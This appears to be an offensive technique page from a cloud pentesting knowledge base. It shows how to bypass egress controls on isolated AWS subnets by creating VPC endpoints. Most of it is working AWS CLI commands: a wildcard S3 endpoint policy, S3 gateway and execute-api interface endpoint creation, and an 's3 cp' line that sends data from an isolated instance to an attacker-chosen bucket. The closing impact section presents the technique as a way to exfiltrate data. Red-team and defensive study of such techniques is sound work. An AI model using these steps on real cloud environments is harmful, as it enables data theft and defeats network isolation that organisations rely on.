AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

Summary

This technique abuses VPC Endpoints to create exfiltration channels from subnets without Internet Gateways or NAT. Gateway endpoints (e.g., S3) add prefix‑list routes into the subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) create reachable ENIs with private IPs protected by security groups. With minimal VPC/EC2 permissions, an attacker can enable controlled egress that doesn’t traverse the public Internet.

Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.

Option A – S3 Gateway VPC Endpoint

Variables
- REGION=us-east-1
- VPC_ID=<target vpc>
- RTB_IDS=<comma-separated route table IDs of private subnets>

1) Create a permissive endpoint policy file (optional). Save as allow-put-get-any-s3.json:

{
  "Version": "2012-10-17",
  "Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}

2) Create the S3 Gateway endpoint (adds S3 prefix‑list route to the selected route tables):

aws ec2 create-vpc-endpoint \
  --vpc-id $VPC_ID \
  --service-name com.amazonaws.$REGION.s3 \
  --vpc-endpoint-type Gateway \
  --route-table-ids $RTB_IDS \
  --policy-document file://allow-put-get-any-s3.json   # optional

Evidence to capture:
- aws ec2 describe-route-tables --route-table-ids $RTB_IDS shows a route to the AWS S3 prefix list (e.g., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
- From an instance in those subnets (with IAM perms) you can exfil via S3 without Internet:

# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Option B – Interface VPC Endpoint for API Gateway (execute-api)

Variables
- REGION=us-east-1
- VPC_ID=<target vpc>
- SUBNET_IDS=<comma-separated private subnets>
- SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>

1) Create the interface endpoint and attach the SG:

aws ec2 create-vpc-endpoint \
  --vpc-id $VPC_ID \
  --service-name com.amazonaws.$REGION.execute-api \
  --vpc-endpoint-type Interface \
  --subnet-ids $SUBNET_IDS \
  --security-group-ids $SG_VPCE \
  --private-dns-enabled

Evidence to capture:
- aws ec2 describe-vpc-endpoints shows the endpoint in available state with NetworkInterfaceIds (ENIs in your subnets).
- Instances in those subnets can reach Private API Gateway endpoints through those VPCE ENIs (no Internet path required).

Impact

Bypasses perimeter egress controls by leveraging AWS‑managed private paths to AWS services.
Enables data exfiltration from isolated subnets (e.g., writing to S3; calling Private API Gateway; reaching Secrets Manager/SSM/STS, etc.) without IGW/NAT.